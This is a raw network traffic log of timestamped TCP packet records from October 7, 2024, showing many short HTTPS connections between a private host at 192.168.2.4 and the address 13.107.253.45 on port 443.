Oct 7, 2024 18:01:47.127002954 CEST	443	60462	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.131933928 CEST	443	60463	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.132335901 CEST	60463	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.132380962 CEST	443	60463	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.132810116 CEST	60463	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.132822037 CEST	443	60463	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.147993088 CEST	443	60461	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.148336887 CEST	443	60461	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.148390055 CEST	60461	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.148430109 CEST	60461	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.148446083 CEST	443	60461	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.148458004 CEST	60461	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.148464918 CEST	443	60461	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.151211023 CEST	60466	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.151251078 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.151324034 CEST	60466	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.151463032 CEST	60466	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.151477098 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.173943996 CEST	443	60464	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.174422979 CEST	60464	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.174436092 CEST	443	60464	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.174901009 CEST	60464	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.174906969 CEST	443	60464	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.429833889 CEST	443	60462	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.429914951 CEST	443	60462	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.429971933 CEST	60462	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.430021048 CEST	443	60464	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.430083990 CEST	443	60464	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.430083036 CEST	443	60463	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.430094957 CEST	60462	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.430115938 CEST	443	60462	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.430119038 CEST	60464	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.430130959 CEST	60462	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.430136919 CEST	443	60462	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.430248976 CEST	443	60463	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.430303097 CEST	60463	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.432039976 CEST	443	60465	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.456283092 CEST	60465	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.456301928 CEST	443	60465	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.458602905 CEST	60465	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.458607912 CEST	443	60465	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.458776951 CEST	60463	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.458826065 CEST	443	60463	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.458842039 CEST	60463	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.458852053 CEST	443	60463	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.460266113 CEST	60464	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.460289955 CEST	443	60464	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.460304976 CEST	60464	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.460313082 CEST	443	60464	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.466247082 CEST	60467	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.466285944 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.466356993 CEST	60467	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.466447115 CEST	60468	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.466495991 CEST	443	60468	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.466609001 CEST	60468	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.466731071 CEST	60467	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.466748953 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.466815948 CEST	60468	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.466839075 CEST	443	60468	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.467715979 CEST	60469	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.467747927 CEST	443	60469	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.467832088 CEST	60469	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.467910051 CEST	60469	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.467919111 CEST	443	60469	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.569188118 CEST	443	60465	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.569256067 CEST	443	60465	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.569360971 CEST	60465	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.569600105 CEST	60465	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.569616079 CEST	443	60465	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.569626093 CEST	60465	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.569633961 CEST	443	60465	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.572398901 CEST	60470	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.572427988 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.572505951 CEST	60470	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.572655916 CEST	60470	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.572668076 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.803587914 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.815879107 CEST	60466	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.815898895 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.819977045 CEST	60466	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.819984913 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.921189070 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.921221972 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.921267986 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.921273947 CEST	60466	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.921313047 CEST	60466	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.926282883 CEST	60466	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.926306963 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.926328897 CEST	60466	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.926338911 CEST	443	60466	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.929991961 CEST	60471	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.930037022 CEST	443	60471	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:47.930097103 CEST	60471	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.930936098 CEST	60471	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:47.930953979 CEST	443	60471	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.090037107 CEST	443	60468	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.096889019 CEST	60468	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.096910000 CEST	443	60468	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.097337008 CEST	60468	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.097342014 CEST	443	60468	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.122699976 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.133219957 CEST	60467	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.133238077 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.143903017 CEST	60467	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.143914938 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.182225943 CEST	443	60469	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.183378935 CEST	60469	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.183398008 CEST	443	60469	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.183828115 CEST	60469	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.183832884 CEST	443	60469	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.209136009 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.213011026 CEST	443	60468	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.213088989 CEST	443	60468	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.213143110 CEST	60468	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.217076063 CEST	60470	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.217088938 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.217515945 CEST	60470	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.217519999 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.217823982 CEST	60468	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.217852116 CEST	443	60468	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.217861891 CEST	60468	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.217866898 CEST	443	60468	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.224421978 CEST	60472	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.224453926 CEST	443	60472	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.224641085 CEST	60472	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.224641085 CEST	60472	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.224664927 CEST	443	60472	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.243737936 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.243796110 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.243872881 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.243875980 CEST	60467	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.243926048 CEST	60467	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.283482075 CEST	60467	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.283531904 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.283550024 CEST	60467	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.283560991 CEST	443	60467	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.293049097 CEST	443	60469	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.293351889 CEST	443	60469	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.293436050 CEST	60469	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.296937943 CEST	60469	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.296950102 CEST	443	60469	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.296958923 CEST	60469	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.296963930 CEST	443	60469	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.306045055 CEST	60473	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.306154013 CEST	443	60473	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.306241989 CEST	60473	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.307746887 CEST	60473	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.307784081 CEST	443	60473	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.309001923 CEST	60474	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.309026003 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.309092045 CEST	60474	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.311501026 CEST	60474	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.311530113 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.316405058 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.316518068 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.316572905 CEST	60470	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.316581011 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.316629887 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.316667080 CEST	60470	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.316675901 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.316688061 CEST	60470	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.316699982 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.316718102 CEST	60470	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.316720963 CEST	443	60470	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.328926086 CEST	60475	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.328955889 CEST	443	60475	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.329032898 CEST	60475	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.329320908 CEST	60475	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.329330921 CEST	443	60475	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.598476887 CEST	443	60471	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.599088907 CEST	60471	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.599113941 CEST	443	60471	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.599770069 CEST	60471	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.599781990 CEST	443	60471	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.713758945 CEST	443	60471	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.713815928 CEST	443	60471	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.713933945 CEST	60471	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.714178085 CEST	60471	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.714217901 CEST	443	60471	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.714236975 CEST	60471	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.714245081 CEST	443	60471	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.717140913 CEST	60476	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.717185974 CEST	443	60476	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.717257023 CEST	60476	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.717462063 CEST	60476	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.717478037 CEST	443	60476	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.854361057 CEST	443	60472	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.855065107 CEST	60472	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.855103016 CEST	443	60472	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.855945110 CEST	60472	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.855952024 CEST	443	60472	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.950459003 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.951126099 CEST	60474	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.951172113 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.951721907 CEST	60474	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.951735973 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.970827103 CEST	443	60472	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.970952988 CEST	443	60472	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.971023083 CEST	60472	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.971524954 CEST	60472	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.971538067 CEST	443	60472	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.971585035 CEST	60472	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.971590996 CEST	443	60472	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.973582983 CEST	443	60475	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.974091053 CEST	60475	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.974103928 CEST	443	60475	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.974653959 CEST	60475	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.974658012 CEST	443	60475	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.975212097 CEST	60477	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.975255966 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.975337029 CEST	60477	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.975513935 CEST	60477	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.975529909 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.978066921 CEST	443	60473	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.978472948 CEST	60473	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.978487015 CEST	443	60473	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:48.979005098 CEST	60473	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:48.979011059 CEST	443	60473	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.056896925 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.056972027 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.057075977 CEST	60474	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.057090044 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.057151079 CEST	60474	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.057384968 CEST	60474	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.057426929 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.057456017 CEST	60474	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.057471991 CEST	443	60474	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.060740948 CEST	60478	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.060785055 CEST	443	60478	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.060981035 CEST	60478	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.061044931 CEST	60478	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.061058044 CEST	443	60478	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.086460114 CEST	443	60475	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.086659908 CEST	443	60475	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.086735010 CEST	60475	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.086800098 CEST	60475	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.086815119 CEST	443	60475	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.086827993 CEST	60475	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.086833000 CEST	443	60475	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.089313984 CEST	443	60473	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.089729071 CEST	443	60473	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.089802027 CEST	60473	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.089838028 CEST	60479	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.089855909 CEST	60473	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.089869976 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.089874983 CEST	443	60473	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.089909077 CEST	60473	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.089921951 CEST	443	60473	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.089929104 CEST	60479	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.090075970 CEST	60479	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.090084076 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.091958046 CEST	60480	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.091965914 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.092025995 CEST	60480	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.092154980 CEST	60480	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.092163086 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.362462044 CEST	443	60476	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.363104105 CEST	60476	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.363118887 CEST	443	60476	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.363954067 CEST	60476	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.363960981 CEST	443	60476	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.471971035 CEST	443	60476	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.472173929 CEST	443	60476	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.472239971 CEST	60476	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.472290039 CEST	60476	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.472306013 CEST	443	60476	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.472315073 CEST	60476	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.472321033 CEST	443	60476	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.474761009 CEST	60481	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.474845886 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.474942923 CEST	60481	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.475085974 CEST	60481	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.475120068 CEST	443	60481	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.629884958 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.630497932 CEST	60477	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.630520105 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.630960941 CEST	60477	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.630968094 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.717402935 CEST	443	60478	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.718048096 CEST	60478	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.718071938 CEST	443	60478	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.718509912 CEST	60478	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.718516111 CEST	443	60478	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.728645086 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.729002953 CEST	60479	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.729021072 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.729334116 CEST	60479	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.729341030 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.741878033 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.741899967 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.741955996 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.741961002 CEST	60477	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.742011070 CEST	60477	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.742243052 CEST	60477	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.742264032 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.742279053 CEST	60477	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.742285013 CEST	443	60477	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.745060921 CEST	60482	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.745094061 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.745184898 CEST	60482	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.745337009 CEST	60482	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.745353937 CEST	443	60482	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.781949043 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.782388926 CEST	60480	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.782412052 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.782805920 CEST	60480	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.782810926 CEST	443	60480	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.826875925 CEST	443	60478	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.827052116 CEST	443	60478	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.827128887 CEST	60478	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.827233076 CEST	60478	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.827254057 CEST	443	60478	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.827282906 CEST	60478	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.827291012 CEST	443	60478	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.830163002 CEST	60483	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.830193996 CEST	443	60483	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.830276012 CEST	60483	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.830446005 CEST	60483	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.830456972 CEST	443	60483	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.836673975 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.836709976 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.836750031 CEST	60479	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.836766005 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.836819887 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.836858034 CEST	60479	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.836946964 CEST	60479	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.836963892 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.836977005 CEST	60479	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.836983919 CEST	443	60479	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.839106083 CEST	60484	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.839128017 CEST	443	60484	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:49.839207888 CEST	60484	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:49.839413881 CEST	60484	443	192.168.2.4	13.107.253.45
